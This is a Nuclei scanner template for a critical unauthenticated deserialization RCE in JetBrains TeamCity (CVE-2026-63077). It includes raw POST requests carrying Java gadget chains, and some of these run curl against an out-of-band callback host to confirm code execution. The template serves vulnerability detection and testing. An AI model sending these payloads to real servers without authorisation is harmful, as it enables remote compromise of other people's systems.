id: CVE-2026-63077 info: name: JetBrains TeamCity < 2026.1.3, 2025.11.7 - Remote Code Execution author: 0x_Akoko,pdteam severity: critical description: | JetBrains TeamCity < 2026.1.3, 2025.11.7 contains a remote code execution caused by unauthenticated access via the agent polling protocol, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication. impact: | Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise. remediation: | Upgrade to version 2026.1.3, 2025.11.7 or later. reference: - https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/ - https://www.rapid7.com/blog/post/etr-cve-2026-63077-critical-unauthenticated-remote-code-execution-in-jetbrains-teamcity/ - https://nvd.nist.gov/vuln/detail/CVE-2026-63077 - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-63077 cwe-id: CWE-502 epss-score: 0.84733 epss-percentile: 0.99689 cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:* metadata: verified: true max-request: 4 vendor: jetbrains product: teamcity shodan-query: title:"TeamCity" fofa-query: title="TeamCity" tags: cve,cve2026,jetbrains,teamcity,rce,deserialization,kev,oast,intrusive,vkev flow: http(1) && (http(2) || http(3) || http(4)) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 3 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_any(body, "TeamCity", "teamcity", "JetBrains")' condition: and internal: true - raw: - | POST /app/agents/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/octet-stream User-Agent: TeamCity Agent/2026.1 {{generate_java_gadget("dns", "http://{{interactsh-url}}", "raw")}} matchers: - type: dsl dsl: - 'status_code == 302' - 'contains_any(interactsh_protocol, "dns", "http")' condition: and - raw: - | POST /app/agents/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/octet-stream User-Agent: TeamCity Agent/2026.1 {{generate_java_gadget("commons-collections3.1", "curl http://{{interactsh-url}}/cc31-rce", "raw")}} matchers: - type: dsl dsl: - 'status_code == 302' - 'contains_any(interactsh_protocol, "dns", "http")' condition: and - raw: - | POST /app/agents/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/octet-stream User-Agent: TeamCity Agent/2026.1 {{generate_java_gadget("groovy1", "curl http://{{interactsh-url}}/groovy-rce", "raw")}} matchers: - type: dsl dsl: - 'status_code == 302' - 'contains_any(interactsh_protocol, "dns", "http")' condition: and # digest: 4a0a00473045022100b410329e2d6b5f75b2d3d8e0fdc2a9b73acdda5fd15d9e81421975378816590d02202ef53bfb8e56f4248bfacb8adc5877e2a7a81c586c09efc92eaa9a8e9d0dd477:922c64590222798bb761d5b6d8e72950